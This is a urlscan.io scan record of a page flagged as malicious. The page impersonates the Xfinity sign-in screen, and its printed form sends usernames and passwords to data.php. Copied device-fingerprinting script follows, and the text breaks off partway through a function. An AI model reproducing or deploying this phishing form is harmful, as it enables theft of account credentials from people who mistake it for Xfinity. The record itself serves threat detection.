xfinittyyy-acct-verfyy-block-contentt.000webhostapp.com
Open in
urlscan Pro
2a02:4780:dead:cc07::1
Malicious Activity!
Public Scan
URL:
https://xfinittyyy-acct-verfyy-block-contentt.000webhostapp.com/
Submission Tags: 7513570
Submission: On May 11 via api from US — Scanned from NL
Submission Tags: 7513570
Submission: On May 11 via api from US — Scanned from NL
Form analysis
1 forms found in the DOMName: signin — POST data.php
<form name="signin" action="data.php" method="post" onsubmit="return login.onSubmit()">
<div class="single logo-wrapper">
<span aria-role="img" class="xfinity-logo"></span>
</div>
<label for="user" id="login_id_label" role="alert" aria-label=""></label>
<div class="textfield-wrapper">
<label for="user" class="float accessibly-hidden">Username</label>
<input id="user" class="" autocorrect="off" autocapitalize="off" spellcheck="false" name="login" type="text" value="" placeholder="Username, email, or mobile" maxlength="128" required="">
</div>
<label for="passwd" id="password_label" role="alert" aria-label=""></label>
<div class="textfield-wrapper">
<label for="passwd" class="float accessibly-hidden">Password</label><input id="passwd" class="" name="password" type="password" placeholder="Password" maxlength="128" required="">
</div>
<div class="checkbox-container">
<label for="remember_me">
<input type="checkbox" id="remember_me" name="rm" value="1"><span id="remember_me_checkbox" class="checkbox"></span>
<div class="content">Stay signed in</div>
</label>
<button type="button" id="rm_label_learn_more" class="icon info cancel" data-id-ref="rm_help" aria-controls="rm_help" aria-label="Learn more about staying signed in"></button>
</div>
<script id="nucaptcha-template" type="text/x-nucaptcha-template"> ${PlayerStart}
${Media}
${DirectionsVerbose} ${InputAnswer}
<p class="field-help">${CommandNewChallenge} ${CommandPlayerMode}
<a class="cmd" href="https://login.xfinity.com/proxy/nucaptcha/help.html?lang=en"
onclick="window.open(this.href,'helpwindow','width=720,height=600,resizable=0,top=10,left=10,menubar=0,statusbar=0,toolbar=0,scrollbars=0,location=0,directories=0'); return false;">Help</a>
</p>
${PlayerEnd}
</script>
<div>
<div id="ndwc">
<noscript><input type="hidden" id="ndpd-s-ns" name="ndpd-s-ns"
value="1.w-341498.1.2.g9LEfmrXRSXItK2cvvboBg,,.aUXX0PRs3IOdzjRPP48Ed5PzmREQDut6FnMioGuFoqfuITzt5yjaScVSh_-cH0KOCQSIYOejrZ_WeGucBte9Pa6Y9bTh9q2Eu-MiOuywdxKeYg92efa_dQhi-FW4274SM9CXS6unOqvBdneQOnAj2EYX4wjHITUDyBmqFbY-z0LB-486TEiLjjIqzIwO-u184tr5VDuPkapmgw6wNseOkc9ImMcL9r-WRO_nnnbEPy5SlOGGhL1dd90speTPme6d5f61t_RkB-FXr5bRzw_Smenj5UMcPKQqfAJVOzN8h1b0VOwvcP3t-4hFIEYDV2MjjvnjoNIM6rGOPddTB9l5NA,,"><input
type="hidden" id="ndpd-f-ns" name="ndpd-f-ns"
value="1.w-341498.1.2.BDYMon__b6Ha-T_xbke3fg,,.GzjySyDOXAt7yw9poUydV6_fcdqLCGBw1_DGTUKjTcCscf2LrDZbPRUbQ5zZiPHWRs9bJVXSA-om1Rwm1xPJXYTUU6uLgKFuxhYou6QlmyzFHsedA3a5_Ao9TZnSbIrCVmwH1iGeqb_QQaXOstp9FJMrOxCxNE5aEU7M0SW2_Pduhmo1XmK9pxcRGfN9rL3WxABceoMD-MSdeCip4NKYjTMGeJNNE0vTQKn4cpV6CEBy2NFB-xhTIESba7yvltK9yoYA_hcmkNWbakj3rynqACAa9E5xHa3Ft6-y49mgrmRIboJvWB-wQzzSTL6VqwyJ"><input
type="hidden" id="ndpd-fm-ns" name="ndpd-fm-ns"
value="1.w-341498.1.2.qpdOco0JtM3NBcwnXxXvng,,.fodVtDBZmexguvc8YblyEQzOAjzb_KMw_PgQ6Q6BAQrogpR9_i6icF65-Fb4-1VluffXkWCAWgJpltFsaFvnMnw7shIZccJvOfYfm_pHM-26el0Kivmw21IwWle0tarli0_JkWOE4H9vf5W_Wtv8FBRH7vb95LOX3-DMJxRHdT7HWhTR1KkhdyKtKrbLH95zEqQj-l58ZT6CdPN0eKRAiKwsYwhpcGzUsJNhCaL0dk5B1TGZnpC2PQpUnZzwIIl7e6Ii3R4Yjj-g4Ps6gGy5vtqOhKRM19SbAOap1PLJZ16JsupohlHGBWnCuR3lyOzUtgrs1iSiX0BvktOnteFFsA,,"><input
type="hidden" id="ndpd-w-ns" name="ndpd-w-ns"
value="1.w-341498.1.2.Xj0A9Jy2KM0qnoI6a5l2OQ,,.HQaRCwBreWQj2Rb7p_Q7S6IzBlGO7xhdmLPk3zyR2kLO5qSscMsFH4OmrvrnfVIoV00Al35PrGwRnNedWyOLfSSs6I2NRp15rQ_TKpZrjzOqWIBsst3AxfnWerbgF7od-COUF0XoH_bFqgkIVmZumjuw2Fp2EMvqYFqesVDCC8lm7mWXdmckVm4ArLQCsYkQsyMYyG60b2BvD3cfqWGPdRljUE8Tk85tH5e76MzRX0tNKTOWNceuvObCrpPDR80-NmpSPSMk_UzmK0yNg7J-AUvnLDQ9anycD5H93luRLyqFr-AF2Bf5yn_vl7vLdIXBrLOH1Gn5j9mB-smeHo9bQ83e1QMjOsSLOW_e4GEjb_WVkYdiMBsSweN3wRDOeAsg">
</noscript>
<input type="hidden" id="ndpd-s" name="ndpd-s"
value="1.w-341498.1.2.qzG5yT8seoTVODYD-u1FXA,,.6vZLr-xA7x2TSfCSwDUtAJ2T_aMECwQRu1Dc4CSYEZlByQy5ZriJt5Np0r5at-a-OQl8_pEWUatlcooYDXQWrLitMmvLa3-g-FgNsR72Nh7COLL8hbG2GX31HE9gqDkL9Kzzvc-u68lvjMcszihpDxn0rdiweC2JI9LippK0qP7WNg3Tw3Jfyj3azZ0WG9YXvktX0mnXOkqWm5gLAj8qYzbuomySG6_I1T2OqEF_M0rgXxlCuxHgrVOCXKKnnOTc4M7Zyui-We6kK63I8eEMTXtkUfpdwNfgtZcpLXMc9xtM1ji6cz9MxLtySotCKbwG"><input
type="hidden" id="ndpd-f" name="ndpd-f"
value="1.w-341498.1.2.jo5K3GApzq-3rgrplLY81g,,.2kjzCSPBt6BNKvYXJ-vhzZ6tbUDDQU4J24tAo1obll_KBWH5cR7UWIGNyhYRM1_6TLT5b5ogjBL2dov4MBw17PVSvuy8mcgeskr7gekPhbYqri6I-4RqkYqMgxkHVbNxjPeGqr7aP_Q3E5iE7yWAslI18_8GMK_1RqeRQ9gfmB7VoLs2J6VoXInWxp1t2vqAkzuiJKVw9QsY46hZJoWgnqsEXAPxXcbOWl99d1X5uASd4jeskG9SQ94bSF1OBYF052zbhdsFm4hK70qXwraX8-WhzumVh9y5xOkMXTbTMDGFYQIZcdte3QwdTyoSNAi3"><input
type="hidden" id="ndpd-fm" name="ndpd-fm"
value="1.w-341498.1.2.zNtWpXfy5iz0hzq0unPyVQ,,.k1PCJKeGym4b8S8M9eKCG8hLPcqo5O4lRnYQ-NERH1eqIPM8dOYblZ8nanFkvyf5EFIA84rUltabsAfNKwtVx24S_bWw0_SoPnhvbYBeVhv8faYSnvLGjR9GKjCs3xHsvN9XeCF356G7mnbm5j49BlvNp_ZdNkoGJ3zgTSL0MrE0Quvzkv6kHpl4NEBE9NBfvVGcNe3HVJyJOoMSlsPxMTC_szlYDDf0f-jxN2_fsa0Qx0eRhbq9coBLmhA0dfJwgaY45oyPJY6bizIHnyeVRot6QJIqO1v8bRc7HDObi7Vn3UYa_lTNrvVwfm7UNT0eIcxcqcOQ42LpttEWfL_lEw,,"><input
type="hidden" id="ndpd-w" name="ndpd-w"
value="1.w-341498.1.2.KQzZDf0IdIM0g7qA4EPR9Q,,.KTKigKtqv-mtkcLZ_M6GdMitidQx5XGul_chS-Hu_ObHd7eNisuyFKDSJTCkWKNwKMaMKmcVmsynj6387IoVC6ccBRMn0cdXqPLz70ghlh-SbXlo4Ljq5r5mDmdnbWZ_uJMUq0owfkU0ERDD1TfJWsgkGZiYBU4CgJvKSVv6egOSe-48cavrjoJoHZbH4AcEnSe5oZNXdmNHHE5rs2QfWhtiIN74ucnsKObqt7i3lEQXW5zGW-hSIyM_ARB709ZHalA9RN2AIHLFron4Hxw-Jwo3PGXux-3nXRN_tDMEn6vtlRntIWlIDgO5ZHO13AgYxsFK5TDKZfiEP3gXuRrMA0XvaKlSZgG5scYCd-T-GC3PzTg4Jt4NoQBnhGbLz9q2"><input
type="hidden" id="ndpd-ipr" name="ndpd-ipr" value="ncip,0,627bf57a,1,1;st,0,;"><input type="hidden" id="ndpd-di" name="ndpd-di" value="d1-241d5ed58480d980"><input type="hidden" id="ndpd-bi" name="ndpd-bi"
value="b2|1600x1200 1600x1200 24 24|0|en-US|bp1-d400db6a8a86d525|false||Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36|wg1-195c5f22554d4550"><input type="hidden"
id="ndpd-probe" name="ndpd-probe" value=""><input type="hidden" id="ndpd-af" name="ndpd-af" value=""><input type="hidden" id="ndpd-fv" name="ndpd-fv" value="fv,ogg,mp4,webm"><input type="hidden" id="ndpd-fa" name="ndpd-fa"
value="fa,mpeg,ogg,wav"><input type="hidden" id="ndpd-bp" name="ndpd-bp" value="p,Chrome PDF Plugin,Chrome PDF Viewer,Native Client"><input type="hidden" id="ndpd-wk" name="ndpd-wk" value="p"><input type="hidden" id="ndpd-vk" name="ndpd-vk"
value="25949"><input id="ndpd-wkr" name="ndpd-wkr" type="hidden" value="544683">
</div>
<script type="text/javascript">
var nsqpd, nsqpdp, nspdbbpddp, nsdqq = {},
nsdqqbdqqd = {},
nsdqbp,
nsqpbpd, nsdqqb, nsqpbpdqqd, nsdbpdbqd, nspdbbp, nsdqbpbdb, nspdppdd, nspqqqbd, nsqpbp,
nspdppdddp, nspqqqb = -1,
nsdbpd = -1,
nspdp = [],
nsqpbpdqq = [],
nsqpdpqqbb = "fspm",
nsdqb = null,
nds = window.ndsapi || (window.ndsapi = {});
function ndwti(a) {
nspqqqb = nsbbp();
"string" === typeof a && (a = nsppbdqqpb(a));
nsqpd = a.did;
nsqpdp = a.fff;
nspdbbpddp = a.ffft;
nsdqq = a.wmd;
nsdqqbdqqd = a.fd;
nsdqbp = a.ffmm;
nsqpbpd = a.fsss;
nsdqqb = a.ddkv;
nsqpbpdqqd = a.dddf;
nsdbpdbqd = a.dddr;
nspdbbp = a.ddde;
nsdqbpbdb = a.ppns;
nspdppdd = a.ppmm;
nspqqqbd = a.ppdd;
nsqpbp = a.ppds;
nspdppdddp = a.wwwe;
"undefined" !== typeof a.mp && (nsdqb = a.mp);
nspdqp();
for (var b = 0; b < nsqpbpdqq.length; b++)(0, nsqpbpdqq[b][1])(a, nsdqq[nsqpbpdqq[b][0]]);
nspdqp();
nsdbpd = nsbbp();
nspdqp()
}
function ndwtr() {
for (var a = 0; a < nsqpbpdqq.length; a++)
if (3 <= nsqpbpdqq[a].length && "undefined" !== typeof nsqpbpdqq[a][2])(0, nsqpbpdqq[a][2])();
nspdqp()
}
function nsbbpddbp(a) {
return nsqpdp.replace(nspdbbpddp, a)
}
function nsqddqbdb(a) {
nspdp.push(a);
nsbbbdbpqp(nsbbpddbp("jse"), nspqq.stringify(nspdp))
}
function nsbbpdd(a, b) {
nsdqqbdqqd[a] = b
}
function nspdqp() {
var a = "",
b;
for (b in nsdqqbdqqd) nsdqbp === nsqpdpqqbb ? a += nsbbpddbp(b) + nsdqqb + nsdqqbdqqd[b] + nsqpbpdqqd : nsbbbdbpqp(nsbbpddbp(b), nsdqqbdqqd[b]);
nsdqbp === nsqpdpqqbb && (a.substring(a.length - nsqpbpdqqd.length, a.length) === nsqpbpdqqd && (a = a.substring(0, a.length - nsqpbpdqqd.length)), nspdbbp && (a = a.replace(/[^a-zA-Z0-9\-_~\^|\.,]+/g, nsdbpdbqd)), nsbbbdbpqp(nsqpbpd, a))
}
function nspdqpppq(a, b, c) {
nsqpbpdqq.push([a, b, c])
}
function nsbbb(a) {
return a
}
function nsppbdqqpb(a) {
return a
}
function nsbbbdbpqp(a, b) {
var c = [""];
null !== nsdqb && (c = nsdqb);
for (var d = 0; d < c.length; d++) {
var e = c[d];
"" != e && (e = "-" + e);
var f = nspqdq(a + e);
if (null !== f) f.value = b;
else {
var k = nspqdq(nsqpd + e),
f = document.createElement("input");
f.id = a + e;
f.name = a;
f.value = b;
f.type = "hidden";
null !== k && k.appendChild(f)
}
}
}
"undefined" == typeof nds && (nds = window.ndsapi || (window.ndsapi = {}));
nds.common = {};
nds.common.util = {};
nds.common.bi = {};
nds.common.querySelectorAll = function(a) {
return document.querySelectorAll(a)
};
document.querySelectorAll || (nds.common.querySelectorAll = function(a) {
return []
});
nds.common.addEventListener = function(a, b, c) {
try {
a.addEventListener ? a.addEventListener(b, c, !1) : a.attachEvent && a.attachEvent("on" + b, c)
} catch (d) {}
return function() {
nds.common.removeEventListener(a, b, c)
}
};
nds.common.removeEventListener = function(a, b, c) {
try {
a.removeEventListener ? a.removeEventListener(b, c, !1) : a.detachEvent && a.detachEvent("on" + b, c)
} catch (d) {}
};
nds.common.util.truncTo = function(a, b, c) {
c = "undefined" !== typeof c ? c : "TRUNC";
if ("string" !== typeof a) return a;
var d = b - c.length;
return 1 > d ? a.substring(0, b) : a.length > d ? a.substring(0, d) + c : a
};
nds.common.util.quickHash = function(a) {
var b = 0,
c = 0,
d, e, f;
if (0 === a.length) return "00000000";
d = 0;
for (e = a.length; d < e; d++) f = a.charCodeAt(d), 0 === d % 2 ? (b = (b << 5) - b + f, b |= 0) : (c = (c << 5) - c + f, c |= 0);
0 > b && (b = 4294967295 + b + 1);
0 > c && (c = 4294967295 + c + 1);
return b.toString(16) + c.toString(16)
};
nds.common.bi.getScreenFingerprint = function() {
var a = "";
window.screen && (a += [window.screen.width, window.screen.height].sort().join("x"), a += " " + window.screen.colorDepth);
return a
};
nds.common.util.getComputedStyle = function(a, b) {
if (document.defaultView && document.defaultView.getComputedStyle) return document.defaultView.getComputedStyle(a, null).getPropertyValue(b);
try {
if (a.currentStyle) return b = b.replace(/-(\w)/g, function(a, b) {
return b.toUpperCase()
}), a.currentStyle[b]
} catch (c) {}
};
nds.common.bi.getScreenInfo = function() {
var a = "";
"undefined" !== typeof window.screen && ("undefined" !== typeof window.screen.width && "undefined" !== typeof window.screen.height && (a += window.screen.width + "x" + window.screen.height), "undefined" !== typeof window.screen
.availWidth && "undefined" !== typeof window.screen.availHeight && (a += " " + window.screen.availWidth + "x" + window.screen.availHeight), "undefined" !== typeof window.screen.colorDepth && (a += " " + window.screen.colorDepth),
"undefined" !== typeof window.screen.pixelDepth && (a += " " + window.screen.pixelDepth));
return a
};
nds.common.bi.isFlashInstalled = function() {
try {
if (new ActiveXObject("ShockwaveFlash.ShockwaveFlash")) return !0
} catch (a) {}
try {
if (void 0 != navigator.mimeTypes["application/x-shockwave-flash"] && navigator.mimeTypes["application/x-shockwave-flash"].enabledPlugin) return !0
} catch (a) {}
return !1
};
nds.common.bi.getDeviceLanguage = function() {
return window.navigator.userLanguage || window.navigator.language || window.navigator.browserLanguage
};
nds.common.bi.getDeviceTimezone = function() {
var a = (new Date(2014, 0, 2)).getTimezoneOffset(),
b = (new Date(2014, 5, 2)).getTimezoneOffset();
return Math.max(a, b)
};
nds.common.bi.getPlugins = function() {
var a = [],
b = /([0-9]+)\.[0-9|.]+/g;
if (window.ActiveXObject) {
if (document.plugins && 0 < document.plugins.length)
for (var c = 0; c < document.plugins.length; c++) a.push(document.plugins[c].src.replace(b, "$1"))
} else if (navigator.plugins && 0 < navigator.plugins.length)
for (c = 0; c < navigator.plugins.length; c++) a.push(navigator.plugins[c].name.replace(b, "$1"));
0 < a.length && a.sort();
b = "p";
for (c = 0; c < a.length; c++) b += "," + a[c];
return b
};
nds.common.bi.getWebGLInfo = function() {
for (var a = {}, b = document.createElement("canvas"), c = ["webgl", "experimental-webgl", "moz-webgl", "webkit-3d"], d, e = 0; e < c.length; e++) try {
if (d = b.getContext(c[e])) {
a.ContextName = c[e];
break
}
} catch (f) {}
if (!(d && "getParameter" in d)) return null;
b =
"VENDOR VERSION RENDERER SHADING_LANGUAGE_VERSION DEPTH_BITS MAX_VERTEX_ATTRIBS MAX_VERTEX_TEXTURE_IMAGE_UNITS MAX_VARYING_VECTORS MAX_VERTEX_UNIFORM_VECTORS MAX_COMBINED_TEXTURE_IMAGE_UNITS MAX_TEXTURE_SIZE MAX_CUBE_MAP_TEXTURE_SIZE NUM_COMPRESSED_TEXTURE_FORMATS MAX_RENDERBUFFER_SIZE MAX_VIEWPORT_DIMS ALIASED_LINE_WIDTH_RANGE ALIASED_POINT_SIZE_RANGE"
.split(" ");
for (c = 0; c < b.length; c++) e = b[c], e in d && (a[e] = d.getParameter(d[e]));
return a
};
nds.common.bi.getDeviceTouchSettings = function() {
var a = {
mtp: "NA"
};
"undefined" !== typeof navigator.maxTouchPoints ? a.mtp = navigator.maxTouchPoints : "undefined" !== typeof navigator.msMaxTouchPoints && (a.mtp = navigator.msMaxTouchPoints);
a.ts = !1;
"ontouchstart" in window && (a.ts = !0);
a.te = !1;
try {
document.createEvent("TouchEvent"), a.te = !0
} catch (b) {}
return a
};
nds.common.bi.getCookiesEnabled = function(a) {
var b = !0,
c = "undefined" !== typeof navigator.cookieEnabled && navigator.cookieEnabled ? !0 : !1;
if (1 == a) try {
document.cookie = "ncookietest=1", b = -1 != document.cookie.indexOf("ncookietest="), document.cookie = "ncookietest=1; expires=Thu, 01-Jan-1970 00:00:01 GMT"
} catch (d) {}
return {
tc: b,
nc: c
}
};
nds.common.bi.getHTML5CanvasSignature = function() {
var a = "NA";
try {
var b = document.createElement("canvas");
b.width = 200;
b.height = 40;
b.style.display = "inline";
var c = b.getContext("2d");
c.fillText("aBc#$efG~ \ude73\ud63d", 4, 10);
c.fillStyle = "rgba(67, 92, 0, 0.5)";
c.font = "18pt Arial";
c.fillText("aBc#$~efG \ude73\ud63d", 8, 12);
a = b.toDataURL()
} catch (d) {}
return a
};
nds.common.bi.getFontMetrics = function() {
var a = [];
try {
for (var b = document.createElement("canvas").getContext("2d"), c = nds.common.bi.fontMetricsFontList, d = 0; d < c.length; d += 1) {
b.font = '72px "' + c[d] + '"';
var e = b.measureText("mmmmmmmmmmlli").width;
a.push(e)
}
} catch (f) {}
return a
};
nds.common.bi.getHTML5LocalStorage = function() {
var a = !1;
try {
var b = window.localStorage;
b.setItem("ndls", "ndls");
b.removeItem("ndls");
a = !0
} catch (c) {}
return a
};
nds.common.bi.getHTML5SupportedVideo = function() {
var a = "fv";
try {
var b = document.createElement("video"),
c = ["ogg", "mp4", "webm"];
if ("undefined" !== typeof b)
for (var d in c) c.hasOwnProperty(d) && "" != b.canPlayType("video/" + c[d]) && (a += "," + c[d])
} catch (e) {}
return a
};
nds.common.bi.getHTML5SupportedAudio = function() {
var a = "fa";
try {
var b = document.createElement("audio"),
c = ["mpeg", "ogg", "wav"];
if ("undefined" !== typeof b)
for (var d in c) c.hasOwnProperty(d) && "" != b.canPlayType("audio/" + c[d]) && (a += "," + c[d])
} catch (e) {}
return a
};
nds.common.bi.getPlatform = function() {
var a = "NA";
try {
a = navigator.platform
} catch (b) {}
return a
};
nds.common.bi.fontMetricsFontList =
"monospace;sans-serif;serif;Andale Mono;Arial;Arial Black;Arial Hebrew;Arial MT;Arial Narrow;Arial Rounded MT Bold;Arial Unicode MS;Bitstream Vera Sans Mono;Book Antiqua;Bookman Old Style;Calibri;Cambria;Cambria Math;Century;Century Gothic;Century Schoolbook;Comic Sans;Comic Sans MS;Consolas;Courier;Courier New;Garamond;Geneva;Georgia;Helvetica;Helvetica Neue;Impact;Lucida Bright;Lucida Calligraphy;Lucida Console;Lucida Fax;LUCIDA GRANDE;Lucida Handwriting;Lucida Sans;Lucida Sans Typewriter;Lucida Sans Unicode;Microsoft Sans Serif;Monaco;Monotype Corsiva;MS Gothic;MS Outlook;MS PGothic;MS Reference Sans Serif;MS Sans Serif;MS Serif;MYRIAD;MYRIAD PRO;Palatino;Palatino Linotype;Segoe Print;Segoe Script;Segoe UI;Segoe UI Light;Segoe UI Semibold;Segoe UI Symbol;Tahoma;Times;Times New Roman;Times New Roman PS;Trebuchet MS;Verdana;Wingdings;Wingdings 2;Wingdings 3"
.split(";");
var nspqq;
nspqq || (nspqq = {});
(function() {
function a(a) {
return 10 > a ? "0" + a : a
}
function b(a) {
e.lastIndex = 0;
return e.test(a) ? '"' + a.replace(e, function(a) {
var b = g[a];
return "string" === typeof b ? b : "\\u" + ("0000" + a.charCodeAt(0).toString(16)).slice(-4)
}) + '"' : '"' + a + '"'
}
function c(a, d) {
var e, p, g, q, r = f,
m, h = d[a];
h && "object" === typeof h && "function" === typeof h.toNDJSON && (h = h.toNDJSON(a));
"function" === typeof l && (h = l.call(d, a, h));
switch (typeof h) {
case "string":
return b(h);
case "number":
return isFinite(h) ? String(h) : "null";
case "boolean":
case "null":
return String(h);
case "object":
if (!h) return "null";
f += k;
m = [];
if ("[object Array]" === Object.prototype.toString.apply(h)) {
q = h.length;
for (e = 0; e < q; e += 1) m[e] = c(e, h) || "null";
g = 0 === m.length ? "[]" : f ? "[\n" + f + m.join(",\n" + f) + "\n" + r + "]" : "[" + m.join(",") + "]";
f = r;
return g
}
if (l && "object" === typeof l)
for (q = l.length, e = 0; e < q; e += 1) "string" === typeof l[e] && (p = l[e], (g = c(p, h)) && m.push(b(p) + (f ? ": " : ":") + g));
else
for (p in h) Object.prototype.hasOwnProperty.call(h, p) && (g = c(p, h)) && m.push(b(p) + (f ? ": " : ":") + g);
g = 0 === m.length ? "{}" : f ? "{\n" + f + m.join(",\n" + f) + "\n" + r + "}" : "{" + m.join(",") + "}";
f = r;
return g
}
}
"function" !== typeof Date.prototype.toNDJSON && (Date.prototype.toNDJSON = function(b) {
return isFinite(this.valueOf()) ? this.getUTCFullYear() + "-" + a(this.getUTCMonth() + 1) + "-" + a(this.getUTCDate()) + "T" + a(this.getUTCHours()) + ":" + a(this.getUTCMinutes()) + ":" + a(this.getUTCSeconds()) + "Z" : null
}, String.prototype.toNDJSON = Number.prototype.toNDJSON = Boolean.prototype.toNDJSON = function(a) {
return this.valueOf()
});
var d = /[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,
e = /[\\\"\x00-\x1f\x7f-\x9f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,
f, k, g = {
"\b": "\\b",
"\t": "\\t",
"\n": "\\n",
"\f": "\\f",
"\r": "\\r",
'"': '\\"',
"\\": "\\\\"
},
l;
"function" !== typeof nspqq.stringify && (nspqq.stringify = function(a, b, d) {
var e;
k = f = "";
if ("number" === typeof d)
for (e = 0; e < d; e += 1) k += " ";
else "string" === typeof d && (k = d);
if ((l = b) && "function" !== typeof b && ("object" !== typeof b || "number" !== typeof b.length)) throw Error("nspqq.stringify");
return c("", {
"": a
})
});
"function" !== typeof nspqq.parse && (nspqq.parse = function(a, b) {
function c(a, d) {
var e, f, n = a[d];
if (n && "object" === typeof n)
for (e in n) Object.prototype.hasOwnProperty.call(n, e) && (f = c(n, e), void 0 !== f ? n[e] = f : delete n[e]);
return b.call(a, d, n)
}
var e;
a = String(a);
d.lastIndex = 0;
d.test(a) && (a = a.replace(d, function(a) {
return "\\u" + ("0000" + a.charCodeAt(0).toString(16)).slice(-4)
}));
if (/^[\],:{}\s]*$/.test(a.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g, "@").replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g, "]").replace(/(?:^|:|,)(?:\s*\[)+/g, ""))) return e = eval("(" + a + ")"),
"function" === typeof b ? c({
"": e
}, "") : e;
throw new SyntaxError("nspqq.parse");
})
})();
Array.prototype.indexOf || (Array.prototype.indexOf = function(a, b) {
var c = this.length >>> 0,
d = Number(b) || 0,
d = 0 > d ? Math.ceil(d) : Math.floor(d);
for (0 > d && (d += c); d < c; d++)
if (d in this && this[d] === a) return d;
return -1
});
var autofillList = [];
function ndoAutofillInit(a, b) {
nds.common.addEventListener(document, "submit", nsppbdq);
window.setTimeout(nsppbdq, 2E3);
window.setTimeout(nsppbdq, 5E3)
}
function nsppbdq() {
try {
var a = nds.common.querySelectorAll(":-webkit-autofill"),
b;
for (b = 0; b < a.length; ++b) - 1 == autofillList.indexOf(a[b].name) && autofillList.push(a[b].name)
} catch (c) {
autofillList = []
}
nsbbpdd("af", autofillList.join());
nspdqp()
}
nspdqpppq("af", ndoAutofillInit);
function nsbpd(a, b) {
nsbbpdd("di", nsbbpddbpd());
nsbbpdd("bi", nspqdqqpbd(b));
nsbbpdd("probe", nsqpbqdq())
}
nspdqpppq("di", nsbpd);
function nsqpbqd() {
var a = [];
a.push(nspdqpp());
a.push(nds.common.bi.getScreenFingerprint());
a.push(nds.common.bi.getDeviceTimezone());
a.push(nds.common.bi.getPlugins());
for (var b = "DI", c = 0; c < a.length; c++) b += "." + a[c];
return b
}
function nspqdqqpbd(a) {
var b = [];
b.push(nds.common.bi.getScreenInfo());
b.push(nds.common.bi.getDeviceTimezone());
b.push(nds.common.bi.getDeviceLanguage());
b.push("bp1-" + nds.common.util.quickHash(nds.common.bi.getPlugins()));
b.push(nds.common.bi.isFlashInstalled().toString());
var c = a.rt || 128;
b.push(nds.common.util.truncTo(document.referrer.replace(/\|/g, ""), c));
a = a.ut || 512;
b.push(nds.common.util.truncTo(navigator.userAgent.replace(/\|/g, ""), a));
a = nds.common.bi.getWebGLInfo();
null === a ? b.push("Not Supported") : b.push("wg1-" + nds.common.util.quickHash(nspqq.stringify(a)));
a = "b2";
for (c = 0; c < b.length; c++) a += "|" + b[c];
return a
}
function nsqpbqdq() {
var a = "";
if (window._phantom || window.callPhantom || window.__phantomas) a += "p";
window.Buffer && (a += "n");
window.emit && (a += "c");
window.spawn && (a += "r");
window.webdriver && (a += "s");
if (window.domAutomation || window.domAutomationController) a += "b";
return a
}
function nsbbpddbpd() {
return "d1-" + nds.common.util.quickHash(nsqpbqd())
}
function nspdqpp() {
var a = "NotAvail";
"undefined" !== typeof navigator && "undefined" !== typeof navigator.userAgent && (a = navigator.userAgent, a = a.replace(/([0-9]+\.[0-9]+)\.[0-9]+\.[0-9]+/g, "$1").replace(/([0-9]+\.[0-9]+)\.[0-9]+/g, "$1"), a = a.replace(
/([0-9]+_[0-9]+)_[0-9]+_[0-9]+/g, "$1").replace(/([0-9]+_[0-9]+)_[0-9]+/g, "$1"));
return a
}
var nspdbbpdd = 0,
nsdbp = null,
nspdbb = !1,
nsdbpdbq = null,
nspdppd = /^(text|password|email|url|search|tel)$/i,
nsqpdpq = !0;
function nsbbpddb(a, b) {
nsdbp = b.fm;
nspdbb = "lm" in b && b.lm;
nspqdqq(nsdbp, nspdbb);
nsbbpdd("ipr", "");
nsppbd()
}
function nsppbdqqp() {}
nspdqpppq("ipr", nsbbpddb, nsppbdqqp);
function unbindNDEventHandlers() {
nsqpdpq = !1
}
function nspqdqqpb(a, b, c) {
nds.common.addEventListener(a, b, function(a) {
nsqpdpq && c(a)
})
}
function nsppbd() {
var a = nsbpdqbbdd();
nsbbbdb(nsdbpdbqdp, [a])
}
function nsbpdqbbdd() {
for (var a = [], b = 0; b < nsdbpdbq.length; b++) {
var c = nsdbpdbq[b];
c.type && c.type.match(nspdppd) && (a.push(c.id), a.push(c.value.length))
}
return a.join(",")
}
var nsqpdpqqb = "a",
nspdpp = "b",
nsqpdpqq = "c",
nspqqq = "d",
nsdqqbdq = "e",
nsdqbpbdbq = "f";
function nsqddqbd(a) {
a || (a = window.event);
var b = null;
a.target ? b = a.target : a.srcElement && (b = a.srcElement);
3 == b.nodeType && (b = b.parentNode);
var c;
a.keyCode ? c = a.keyCode : a.which && (c = a.which);
var d = !1;
a.which ? d = 3 == a.which : a.button && (d = 2 == a.button);
var e = 0,
f = 0;
if (a.pageX || a.pageY) e = a.pageX, f = a.pageY;
else if (a.clientX || a.clientY) e = a.clientX + document.body.scrollLeft + document.documentElement.scrollLeft, f = a.clientY + document.body.scrollTop + document.documentElement.scrollTop;
var k = {};
k[nsqpdpqqb] = a;
k[nspdpp] = b;
k[nsqpdpqq] = d;
k[nspqqq] = c;
k[nsdqqbdq] = e;
k[nsdqbpbdbq] = f;
return k
}
function nsbbpd(a) {
return !nspdpp in a ? null : "string" === typeof a[nspdpp].id && "" !== a[nspdpp].id ? a[nspdpp].id : a[nspdpp].name
}
function nspqdqq(a, b) {
var c = null,
d = nsbpdq(document.documentElement, "input");
if (b && null !== c) {
a = [];
for (var e = 0; e < d.length; e++) {
var f = d[e];
f.type && f.type.match(nspdppd) && a.push(f)
}
} else {
for (var k = [], e = 0; e < a.length; e++) {
var g = nspqdq(a[e]);
if (null === g && null !== c)
for (var l = 0; l < d.length; l++) f = d[l], f.type && f.type.match(nspdppd) && f.name && f.name === a[e] && (g = f);
null !== g && k.push(g)
}
a = k
}
nsdbpdbq = a;
for (e = 0; e < a.length; e++)
if (g = a[e], null !== g) {
if (null === c)
for (d = g.parentNode, f = 0; 8 > f; f++) {
if (null === d || d.nodeName.match(/form/i)) {
c = d;
break
}
d = d.parentNode
}
g.nodeName.match(/input/i) && (nspqdqqpb(g, "keydown", function(a) {
nsqddqbd(a);
nsbbbdb(nsqpb, [])
}), nspqdqqpb(g, "focus", function(a) {
a = nsqddqbd(a);
nsbbbdb(nspdbbpd, [nspdpp in a && "undefined" !== typeof a[nspdpp].value ? a[nspdpp].value.length : null, nsbbpd(a)]);
nsbbbdb(nsdqqbdqq, [nsbbpd(a)])
}), nspqdqqpb(g, "blur", function(a) {
a = nsqddqbd(a);
